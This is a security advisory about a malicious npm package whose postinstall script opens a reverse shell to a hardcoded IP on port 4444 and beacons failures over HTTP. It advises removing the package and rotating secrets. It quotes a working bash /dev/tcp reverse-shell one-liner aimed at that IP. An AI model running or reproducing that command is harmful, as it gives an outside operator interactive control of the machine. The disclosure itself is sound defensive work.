If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997)
The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (`bash -i >& /dev/tcp/8.135.48.40/4444 0>&1`) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.